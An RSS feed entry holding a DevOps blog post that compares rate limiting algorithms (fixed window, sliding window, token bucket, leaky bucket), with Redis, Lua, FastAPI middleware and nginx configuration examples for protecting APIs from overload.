<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>be4n's DevOps Blog (devops.anhp.site)</title>
    <link>https://devops.anhp.site</link>
    <description>be4n - DevOps & Cloud Journey</description>
    <language>en</language>
    <lastBuildDate>Sat, 20 Jun 2026 10:29:26 GMT</lastBuildDate>
    <atom:link href="https://devops.anhp.site/feed.xml" rel="self" type="application/rss+xml"/>
    
    <item>
      <title><![CDATA[Designing Rate Limiting for APIs: Algorithms, Patterns, and Implementation]]></title>
      <link>https://devops.anhp.site/posts/designing-rate-limiting-for-apis</link>
      <description><![CDATA[A practical comparison of token bucket, leaky bucket, fixed window, and sliding window rate limiting, with copy-paste Redis and FastAPI code, nginx config, and guidance on which one to actually use.]]></description>
      <pubDate>Mon, 08 Jun 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/designing-rate-limiting-for-apis</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[api-design]]></category><category><![CDATA[rate-limiting]]></category><category><![CDATA[backend]]></category><category><![CDATA[redis]]></category><category><![CDATA[nginx]]></category><category><![CDATA[devops]]></category>
      <content:encoded><![CDATA[<p>At 2am a single customer&#39;s cron job got stuck in a retry loop with no backoff. One API key started sending around 8,000 requests per second. Within ninety seconds the database connection pool was saturated, every other customer was getting timeouts, and the on-call engineer was staring at a dashboard that was all red. There was no rate limiting on that endpoint. One misbehaving client took down the API for everyone.</p>
<p>If you run any public or shared API, this is not a hypothetical. The fix is rate limiting, and the hard part is not the idea, it is picking the right algorithm and implementing it so it actually holds up behind a load balancer.</p>
<p>This post compares the four rate limiting algorithms you will actually see in production (fixed window, sliding window, token bucket, leaky bucket), shows you working code you can copy, and gives you a straight answer on which one to use.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Token bucket</strong> is the right default for most public APIs. It allows controlled bursts and is cheap to run in Redis.</li>
<li><strong>Sliding window counter</strong> is the best choice when you want accurate limits without the boundary-burst problem of fixed windows.</li>
<li><strong>Fixed window</strong> is the simplest and cheapest, but it lets a client send up to 2x your limit across a window boundary. Fine for rough internal limits, bad for billing or abuse control.</li>
<li><strong>Leaky bucket</strong> smooths bursty input into a constant output rate. Use it when a downstream system can only handle a fixed throughput, not when you want to allow bursts.</li>
<li>Do the counting in a shared store (Redis) with an atomic operation. In-memory counters break the moment you run more than one instance.</li>
<li>Return <code>429 Too Many Requests</code> with a <code>Retry-After</code> header. Decide up front whether you fail open or fail closed when Redis is down.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A running API service (the examples use Python and FastAPI, but the logic ports to any language)</li>
<li>Redis 6 or newer reachable from your service, for distributed counting</li>
<li>Basic familiarity with HTTP status codes and headers</li>
<li><code>redis-py</code> installed (<code>pip install redis</code>) if you want to run the Python examples</li>
</ul>
<h2 id="h2-why-in-memory-counters-fail-first" class="group relative scroll-mt-24">
        <a href="#h2-why-in-memory-counters-fail-first" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why in-memory counters fail first
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-in-memory-counters-fail-first"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before the algorithms, the trap everyone hits. The naive version looks like this:</p>
<pre><code class="hljs language-python"><span class="hljs-comment"># DO NOT use this in production</span>
<span class="hljs-keyword">from</span> collections <span class="hljs-keyword">import</span> defaultdict
<span class="hljs-keyword">import</span> time

counters = defaultdict(<span class="hljs-built_in">list</span>)

<span class="hljs-keyword">def</span> <span class="hljs-title function_">allow</span>(<span class="hljs-params">client_id, limit=<span class="hljs-number">100</span>, window=<span class="hljs-number">60</span></span>):
    now = time.time()
    counters[client_id] = [t <span class="hljs-keyword">for</span> t <span class="hljs-keyword">in</span> counters[client_id] <span class="hljs-keyword">if</span> t &gt; now - window]
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(counters[client_id]) &gt;= limit:
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
    counters[client_id].append(now)
    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
</code></pre><p>This works on your laptop and fails in production for one reason: the counter lives in the memory of a single process. Run three replicas behind a load balancer and each one tracks its own count, so your &quot;100 requests per minute&quot; limit becomes 300. Restart a pod and the counter resets. Autoscale to ten pods and the limit is meaningless.</p>
<p>Rate limiting state has to live somewhere shared and the check has to be atomic. That is why every serious example below uses Redis.</p>
<h2 id="h2-the-four-algorithms" class="group relative scroll-mt-24">
        <a href="#h2-the-four-algorithms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The four algorithms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-four-algorithms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-fixed-window-counter" class="group relative scroll-mt-24">
        <a href="#h3-fixed-window-counter" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Fixed window counter
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fixed-window-counter"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Count requests in a fixed time block (say, per calendar minute). When the clock ticks over to the next minute, the count resets to zero.</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">fixed_window</span>(<span class="hljs-params">redis, key, limit, window</span>):
    count = redis.incr(key)
    <span class="hljs-keyword">if</span> count == <span class="hljs-number">1</span>:
        <span class="hljs-comment"># first request in this window, set the expiry</span>
        redis.expire(key, window)
    <span class="hljs-keyword">return</span> count &lt;= limit
</code></pre><p>It is fast, uses almost no memory (one integer per client), and is trivial to reason about. The problem is the boundary. A client can send <code>limit</code> requests in the last second of one window and another <code>limit</code> in the first second of the next:</p>
<pre><code class="hljs language-text">window 1 (00:00-00:59)                window 2 (01:00-01:59)
                          |&lt;- 1 second -&gt;|
            100 reqs at 00:59.5    100 reqs at 01:00.2
            = 200 requests in ~0.7 seconds
</code></pre><p>For a limit that maps to real cost (database load, a paid quota), that 2x burst is a real bug. Use fixed window only for rough limits where the occasional double burst does not hurt you.</p>
<h3 id="h3-sliding-window-log" class="group relative scroll-mt-24">
        <a href="#h3-sliding-window-log" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sliding window log
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sliding-window-log"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Keep a timestamp for every request and count how many fall inside the trailing window. This is exact, no boundary problem, but you store one entry per request. A client at 1,000 requests per minute means 1,000 timestamps in memory per client. That cost adds up fast across many clients, so reserve the sliding log for low-volume endpoints where precision matters (think a &quot;5 password resets per hour&quot; rule).</p>
<h3 id="h3-sliding-window-counter" class="group relative scroll-mt-24">
        <a href="#h3-sliding-window-counter" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sliding window counter
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sliding-window-counter"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The practical middle ground. Keep a counter per fixed window, then estimate the rolling count by weighting the previous window by how much of it still overlaps the trailing period.</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">import</span> time

<span class="hljs-keyword">def</span> <span class="hljs-title function_">sliding_window</span>(<span class="hljs-params">redis, key, limit, window</span>):
    now = time.time()
    current = <span class="hljs-built_in">int</span>(now // window)
    previous = current - <span class="hljs-number">1</span>
    <span class="hljs-comment"># how far we are into the current window, as a fraction</span>
    elapsed = (now % window) / window

    cur_count = <span class="hljs-built_in">int</span>(redis.get(<span class="hljs-string">f&quot;<span class="hljs-subst">{key}</span>:<span class="hljs-subst">{current}</span>&quot;</span>) <span class="hljs-keyword">or</span> <span class="hljs-number">0</span>)
    prev_count = <span class="hljs-built_in">int</span>(redis.get(<span class="hljs-string">f&quot;<span class="hljs-subst">{key}</span>:<span class="hljs-subst">{previous}</span>&quot;</span>) <span class="hljs-keyword">or</span> <span class="hljs-number">0</span>)

    <span class="hljs-comment"># weighted estimate of requests in the trailing window</span>
    estimated = prev_count * (<span class="hljs-number">1</span> - elapsed) + cur_count
    <span class="hljs-keyword">if</span> estimated &gt;= limit:
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

    pipe = redis.pipeline()
    pipe.incr(<span class="hljs-string">f&quot;<span class="hljs-subst">{key}</span>:<span class="hljs-subst">{current}</span>&quot;</span>)
    pipe.expire(<span class="hljs-string">f&quot;<span class="hljs-subst">{key}</span>:<span class="hljs-subst">{current}</span>&quot;</span>, window * <span class="hljs-number">2</span>)
    pipe.execute()
    <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
</code></pre><p>This gives you accuracy very close to a true sliding window at the cost of two integers per client. It smooths out the boundary burst because the previous window&#39;s count still pulls weight right after the rollover. This is a solid default if token bucket does not fit your mental model.</p>
<h3 id="h3-token-bucket" class="group relative scroll-mt-24">
        <a href="#h3-token-bucket" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Token bucket
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-token-bucket"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Picture a bucket that holds tokens. Every request takes one token. Tokens refill at a steady rate up to a maximum capacity. If the bucket is empty, the request is rejected.</p>
<pre><code class="hljs language-text">        refill at 10 tokens/sec
                 |
                 v
        +------------------+
        |  tokens: 73/100  |   capacity = 100 (max burst)
        +------------------+
                 |
          1 token per request
                 v
            request allowed
</code></pre><p>The capacity controls how big a burst you allow; the refill rate controls the sustained throughput. A client that has been quiet can spend its full bucket at once (a burst), then is held to the refill rate. This matches how people actually use APIs, which is why most public APIs (Stripe, GitHub, AWS) use token bucket or a close variant.</p>
<p>The catch is that refill and spend have to be atomic, or two concurrent requests can both read the same token count and both spend it. Do it in a single Redis Lua script so the whole read-refill-spend cycle runs without interruption:</p>
<pre><code class="hljs language-lua"><span class="hljs-comment">-- token_bucket.lua</span>
<span class="hljs-comment">-- KEYS[1] = bucket key</span>
<span class="hljs-comment">-- ARGV[1] = capacity</span>
<span class="hljs-comment">-- ARGV[2] = refill rate (tokens per second)</span>
<span class="hljs-comment">-- ARGV[3] = current time (seconds, with fraction)</span>
<span class="hljs-comment">-- ARGV[4] = tokens requested (cost)</span>
<span class="hljs-keyword">local</span> capacity = <span class="hljs-built_in">tonumber</span>(ARGV[<span class="hljs-number">1</span>])
<span class="hljs-keyword">local</span> refill_rate = <span class="hljs-built_in">tonumber</span>(ARGV[<span class="hljs-number">2</span>])
<span class="hljs-keyword">local</span> now = <span class="hljs-built_in">tonumber</span>(ARGV[<span class="hljs-number">3</span>])
<span class="hljs-keyword">local</span> requested = <span class="hljs-built_in">tonumber</span>(ARGV[<span class="hljs-number">4</span>])

<span class="hljs-keyword">local</span> bucket = redis.call(<span class="hljs-string">&#x27;HMGET&#x27;</span>, KEYS[<span class="hljs-number">1</span>], <span class="hljs-string">&#x27;tokens&#x27;</span>, <span class="hljs-string">&#x27;last&#x27;</span>)
<span class="hljs-keyword">local</span> tokens = <span class="hljs-built_in">tonumber</span>(bucket[<span class="hljs-number">1</span>])
<span class="hljs-keyword">local</span> last = <span class="hljs-built_in">tonumber</span>(bucket[<span class="hljs-number">2</span>])

<span class="hljs-keyword">if</span> tokens == <span class="hljs-literal">nil</span> <span class="hljs-keyword">then</span>
  tokens = capacity
  last = now
<span class="hljs-keyword">end</span>

<span class="hljs-comment">-- refill based on time elapsed since the last request</span>
<span class="hljs-keyword">local</span> elapsed = <span class="hljs-built_in">math</span>.<span class="hljs-built_in">max</span>(<span class="hljs-number">0</span>, now - last)
tokens = <span class="hljs-built_in">math</span>.<span class="hljs-built_in">min</span>(capacity, tokens + elapsed * refill_rate)

<span class="hljs-keyword">local</span> allowed = <span class="hljs-number">0</span>
<span class="hljs-keyword">if</span> tokens &gt;= requested <span class="hljs-keyword">then</span>
  tokens = tokens - requested
  allowed = <span class="hljs-number">1</span>
<span class="hljs-keyword">end</span>

redis.call(<span class="hljs-string">&#x27;HMSET&#x27;</span>, KEYS[<span class="hljs-number">1</span>], <span class="hljs-string">&#x27;tokens&#x27;</span>, tokens, <span class="hljs-string">&#x27;last&#x27;</span>, now)
<span class="hljs-comment">-- expire idle buckets so Redis does not fill up with stale keys</span>
redis.call(<span class="hljs-string">&#x27;EXPIRE&#x27;</span>, KEYS[<span class="hljs-number">1</span>], <span class="hljs-built_in">math</span>.<span class="hljs-built_in">ceil</span>(capacity / refill_rate) * <span class="hljs-number">2</span>)

<span class="hljs-keyword">return</span> { allowed, tokens }
</code></pre><p>Load it once and call it per request:</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> redis

r = redis.Redis(host=<span class="hljs-string">&quot;localhost&quot;</span>, port=<span class="hljs-number">6379</span>, decode_responses=<span class="hljs-literal">True</span>)

<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;token_bucket.lua&quot;</span>) <span class="hljs-keyword">as</span> f:
    take_token = r.register_script(f.read())

<span class="hljs-keyword">def</span> <span class="hljs-title function_">allow</span>(<span class="hljs-params">key, capacity=<span class="hljs-number">100</span>, refill_rate=<span class="hljs-number">10</span>, cost=<span class="hljs-number">1</span></span>):
    allowed, remaining = take_token(
        keys=[key],
        args=[capacity, refill_rate, time.time(), cost],
    )
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">bool</span>(allowed), <span class="hljs-built_in">int</span>(remaining)
</code></pre><h3 id="h3-leaky-bucket" class="group relative scroll-mt-24">
        <a href="#h3-leaky-bucket" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Leaky bucket
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-leaky-bucket"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A leaky bucket is a queue that drains at a constant rate. Requests pour in (possibly in bursts), sit in the queue, and leave at a fixed pace. If the queue is full, new requests are dropped.</p>
<pre><code class="hljs language-text">   bursty requests in
        | | |  |
        v v v  v
     +-----------+
     |  queue    |   drops when full
     +-----------+
           |
      constant drain (e.g. 10 req/sec)
           v
      to downstream
</code></pre><p>The difference from token bucket matters. Token bucket allows a burst to pass through immediately as long as it has tokens. Leaky bucket never lets the output exceed the drain rate, no matter what. Use leaky bucket when the thing behind your API can only handle a steady throughput, for example a legacy system or a third-party API with a hard ceiling. If you want to allow bursts, use token bucket instead.</p>
<h2 id="h2-which-one-should-you-use" class="group relative scroll-mt-24">
        <a href="#h2-which-one-should-you-use" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Which one should you use?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-which-one-should-you-use"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Algorithm</th>
<th>Allows bursts</th>
<th>Memory per client</th>
<th>Accuracy</th>
<th>Use when</th>
</tr>
</thead>
<tbody><tr>
<td>Fixed window</td>
<td>At the boundary (bad)</td>
<td>1 integer</td>
<td>Low</td>
<td>Rough internal limits</td>
</tr>
<tr>
<td>Sliding window log</td>
<td>No</td>
<td>1 entry per request</td>
<td>Exact</td>
<td>Low-volume, precise rules</td>
</tr>
<tr>
<td>Sliding window counter</td>
<td>Smoothed</td>
<td>2 integers</td>
<td>High</td>
<td>General-purpose default</td>
</tr>
<tr>
<td>Token bucket</td>
<td>Yes, up to capacity</td>
<td>small hash</td>
<td>High</td>
<td>Public APIs, most cases</td>
</tr>
<tr>
<td>Leaky bucket</td>
<td>No</td>
<td>queue</td>
<td>High</td>
<td>Protecting a fixed-rate downstream</td>
</tr>
</tbody></table>
<p>If you are not sure, use <strong>token bucket</strong>. It handles real traffic well, the burst behavior is intuitive, and the Redis implementation above is production-ready. Reach for the sliding window counter if &quot;X requests per minute&quot; is easier to explain to your customers than a bucket.</p>
<h2 id="h2-wiring-it-into-your-api" class="group relative scroll-mt-24">
        <a href="#h2-wiring-it-into-your-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Wiring it into your API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-wiring-it-into-your-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is the token bucket as FastAPI middleware. It keys off the client IP, but in production you should key off the API key or authenticated user ID so a shared NAT does not punish everyone behind it.</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">from</span> fastapi <span class="hljs-keyword">import</span> FastAPI, Request
<span class="hljs-keyword">from</span> fastapi.responses <span class="hljs-keyword">import</span> JSONResponse

app = FastAPI()

<span class="hljs-meta">@app.middleware(<span class="hljs-params"><span class="hljs-string">&quot;http&quot;</span></span>)</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">rate_limit</span>(<span class="hljs-params">request: Request, call_next</span>):
    client_key = request.headers.get(<span class="hljs-string">&quot;x-api-key&quot;</span>) <span class="hljs-keyword">or</span> request.client.host
    key = <span class="hljs-string">f&quot;rl:<span class="hljs-subst">{client_key}</span>&quot;</span>

    <span class="hljs-keyword">try</span>:
        allowed, remaining = allow(key, capacity=<span class="hljs-number">100</span>, refill_rate=<span class="hljs-number">10</span>)
    <span class="hljs-keyword">except</span> redis.RedisError:
        <span class="hljs-comment"># fail open: if Redis is down, let traffic through rather than</span>
        <span class="hljs-comment"># taking the whole API offline. See the note below.</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> call_next(request)

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> allowed:
        <span class="hljs-keyword">return</span> JSONResponse(
            status_code=<span class="hljs-number">429</span>,
            content={<span class="hljs-string">&quot;error&quot;</span>: <span class="hljs-string">&quot;rate limit exceeded&quot;</span>, <span class="hljs-string">&quot;retry_after&quot;</span>: <span class="hljs-number">1</span>},
            headers={
                <span class="hljs-string">&quot;Retry-After&quot;</span>: <span class="hljs-string">&quot;1&quot;</span>,
                <span class="hljs-string">&quot;X-RateLimit-Limit&quot;</span>: <span class="hljs-string">&quot;100&quot;</span>,
                <span class="hljs-string">&quot;X-RateLimit-Remaining&quot;</span>: <span class="hljs-string">&quot;0&quot;</span>,
            },
        )

    response = <span class="hljs-keyword">await</span> call_next(request)
    response.headers[<span class="hljs-string">&quot;X-RateLimit-Limit&quot;</span>] = <span class="hljs-string">&quot;100&quot;</span>
    response.headers[<span class="hljs-string">&quot;X-RateLimit-Remaining&quot;</span>] = <span class="hljs-built_in">str</span>(remaining)
    <span class="hljs-keyword">return</span> response
</code></pre><p>Send back the standard headers. Clients use <code>X-RateLimit-Remaining</code> to slow themselves down before they hit the wall, and <code>Retry-After</code> tells a well-behaved client exactly how long to wait. Skipping these turns every client into a blind retry machine, which is the opposite of what you want.</p>
<h3 id="h3-fail-open-or-fail-closed" class="group relative scroll-mt-24">
        <a href="#h3-fail-open-or-fail-closed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Fail open or fail closed?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fail-open-or-fail-closed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Redis is unreachable, you have two choices and you must pick deliberately:</p>
<ul>
<li><strong>Fail open</strong> (allow the request): the right default for general traffic. A Redis blip should not take your whole API down. The example above does this.</li>
<li><strong>Fail closed</strong> (reject the request): the right call for login, password reset, and payment endpoints, where letting traffic through unmetered is worse than a brief outage.</li>
</ul>
<p>Do not leave this to chance. An unhandled Redis exception that bubbles up as a 500 is the worst of both worlds.</p>
<h2 id="h2-do-it-at-the-edge-when-you-can" class="group relative scroll-mt-24">
        <a href="#h2-do-it-at-the-edge-when-you-can" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Do it at the edge when you can
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-do-it-at-the-edge-when-you-can"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If all you need is a flat limit per IP, do not write code at all. Put it in nginx in front of your service:</p>
<pre><code class="hljs language-nginx"><span class="hljs-comment"># define a shared memory zone keyed by client IP, 10 req/sec</span>
<span class="hljs-attribute">limit_req_zone</span> <span class="hljs-variable">$binary_remote_addr</span> zone=api:<span class="hljs-number">10m</span> rate=10r/s;

<span class="hljs-section">server</span> {
    <span class="hljs-section">location</span> /api/ {
        <span class="hljs-comment"># allow short bursts of 20, no artificial delay on them</span>
        <span class="hljs-attribute">limit_req</span> zone=api burst=<span class="hljs-number">20</span> nodelay;
        <span class="hljs-attribute">limit_req_status</span> <span class="hljs-number">429</span>;
        <span class="hljs-attribute">proxy_pass</span> http://backend;
    }
}
</code></pre><p>nginx&#39;s <code>limit_req</code> is a leaky bucket under the hood. This stops abusive traffic before it ever reaches your application, which is exactly where you want to drop it. Use the application-level Redis approach when you need per-user limits, different tiers, or limits that depend on the request body. Use both together for defense in depth.</p>
